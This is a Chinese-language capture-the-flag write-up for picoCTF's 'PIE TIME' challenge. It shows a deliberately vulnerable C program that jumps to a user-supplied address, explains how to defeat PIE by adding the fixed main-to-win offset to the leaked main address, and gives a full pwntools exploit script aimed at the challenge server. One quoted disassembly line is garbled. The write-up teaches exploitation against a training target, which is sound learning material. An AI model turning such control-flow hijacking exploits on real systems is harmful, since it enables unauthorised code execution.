原始碼
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
解題
解題思路
PIE保護機制會讓每次程式運行時位置不同,但每個函數間的相對位置offset不會改變,題目輸出main的真實位置,只要加上main與win的offset就能跳到那裡
PS : 因為是用scanf讀取所以用hex(main_addr).encode()
確認保護機制
checksec --file vuln

尋找需要的資訊
尋找main的位置
objdump -d vuln|grep -A 10 "<main>"

000000000000133d <main>:
尋找win的位置
objdump -d vuln|grep -A 10 "<win>"

00000000000012a7 <win>:
計算offset
offset = -0x96 # 0x12a7 - 0x133d
實際payload
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
if '--remote' in sys.argv:
p = remote('rescued-float.picoctf.net', 61905)
else:
p = process("/root/picoctf/PIE_TIME/vuln")
context.arch = "amd64"
main_addr = int(p.recvline().decode().split(':')[1].strip(), 16)
'''
objdump -d vuln|grep "<main>"
11c1: 48 8d 3d 75 01 00 00 lea 0x175(%rip),%rdi # 133d <main>
000000000000133d <main>:
1387: 48 8d 35 af ff ff ff lea -0x51(%rip),%rsi # 133d <main>
00000000000012a7 <win>:
12a7: f3 0f 1e fa endbr64
12ab: 55 push %rbp
12ac: 48 89 e5 mov %rsp,%rbp
12af: 43 ec 10 sub $0x10,%rsp8 8
12b3: 48 8d 3d 74 0d 00 00 lea 0xd74(%rip),%rdi # 202e <_IO_stdin_used+0x2e>
12ba: e8 41 fe ff ff call 1100 <puts@plt>
'''
offset = -0x96 # 0x12a7 - 0x133d
main_addr += offset
# gdb.attach(p)
p.sendline(hex(main_addr).encode())
p.interactive()
flag



說些什麼吧!